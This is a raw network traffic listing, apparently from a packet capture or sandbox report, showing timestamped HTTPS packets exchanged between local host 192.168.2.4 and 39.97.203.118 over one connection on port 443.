Jul 27, 2024 16:49:47.061973095 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.073755026 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.073831081 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.073869944 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.073923111 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.075306892 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.075380087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.082458019 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.082524061 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.085462093 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.085536003 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.092248917 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.092320919 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.095305920 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.095375061 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.098910093 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.098993063 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.105510950 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.105571985 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.109076023 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.109277010 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.122139931 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.122333050 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.133296967 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.133374929 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.133403063 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.133429050 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.133666992 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.133692026 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.133788109 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.133816957 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.133873940 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.136715889 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.136904955 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.143121958 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.143326044 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.146428108 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.146616936 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.151957035 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.152045012 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.178653955 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.178854942 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.178859949 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.178895950 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.178926945 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.178944111 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.178945065 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.179020882 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.179114103 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.179239988 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.179245949 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.179245949 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.179323912 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.179380894 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.179380894 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.180392027 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.180527925 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.187123060 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.187347889 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.190888882 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.190979958 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.199484110 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.199686050 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.200853109 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.200931072 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.207359076 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.207552910 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.211262941 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.211340904 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.232470036 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.232608080 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.232614040 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.232678890 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.232719898 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.232721090 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.232783079 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.232796907 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.232870102 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.256725073 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.256932020 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.257040024 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.257106066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.257148981 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.257575989 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269021988 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269182920 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269283056 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269329071 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269397020 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269438028 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269438028 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269464970 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269499063 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269505024 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269515038 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269531965 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269577026 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269577026 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.269644976 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.269810915 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.280100107 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.280297041 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.281498909 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.281589031 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.282332897 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.282545090 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.590830088 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591017962 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591099024 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591099024 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591136932 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591165066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591214895 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591214895 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591257095 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591356993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591438055 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591438055 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591470957 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591495991 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591552973 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591594934 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591655016 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591684103 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591716051 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591748953 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591773033 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591799021 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591799021 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591855049 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591866970 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591902971 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591916084 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.591928959 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.591960907 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592005014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592061043 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592072964 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592097998 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592133999 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592149973 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592175961 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592195988 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592245102 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592256069 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592279911 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592314005 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592329025 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592354059 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592423916 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592504978 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592514992 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592567921 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592592955 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592655897 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592680931 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592788935 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.592797041 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592816114 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592945099 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.592947960 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593002081 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593014002 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593039036 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593070030 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593086004 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593108892 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593127966 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593184948 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593195915 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593220949 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593255997 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593270063 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593293905 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593322039 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593380928 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593391895 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593452930 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593559980 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593622923 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593651056 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593714952 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.593724012 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593744040 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.593781948 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594240904 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594301939 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594311953 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594362020 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594367027 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594382048 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594423056 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594479084 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594537020 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594547987 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594578028 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594613075 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594628096 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594656944 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594659090 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594712019 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.594722986 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.594774008 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.681698084 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.681888103 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.681895018 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.681948900 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.681971073 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.681979895 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682014942 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682082891 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682171106 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682271004 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682296038 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682296038 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682365894 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682404995 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682411909 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682430983 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682449102 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682476997 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682511091 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682596922 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682682991 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682718039 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682718992 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682780981 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682821989 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682827950 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682848930 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.682866096 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.682893038 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683248997 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683312893 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683326006 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683351994 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683382034 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683398008 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683427095 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683437109 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683497906 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683510065 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683532953 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683562040 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683577061 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683604956 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683635950 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683691978 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683703899 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683737040 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683753967 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.683767080 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.683801889 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.731594086 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.843127966 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843256950 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843348026 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843447924 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843534946 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843571901 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.843571901 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.843571901 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.843571901 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.843638897 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843674898 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843687057 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.843803883 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.843955040 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.843955040 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.844017982 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.869077921 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.869280100 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.869371891 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.869688988 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.871356010 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.871440887 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.871495008 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.871556997 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.871650934 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.871723890 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.871802092 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.871865034 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.871953011 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.872014046 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.872103930 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.872163057 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.872248888 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.872312069 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.872381926 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.872447968 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.872565985 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.872631073 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.872708082 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.872772932 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.872860909 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.872925997 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873001099 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873061895 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873133898 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873189926 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873269081 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873332977 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873406887 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873467922 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873541117 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873605967 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873670101 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873732090 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873802900 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873873949 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.873934031 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.873995066 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.874068975 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.874130011 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.874206066 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.874263048 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.874357939 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.874418020 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.874488115 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.874547005 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.874614000 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.874675035 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.874756098 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.874818087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.908564091 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.908726931 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.908862114 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.908865929 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.908866882 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.908927917 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.908986092 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.908986092 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.909012079 CEST	443	49740	39.97.203.118	192.168.2.4
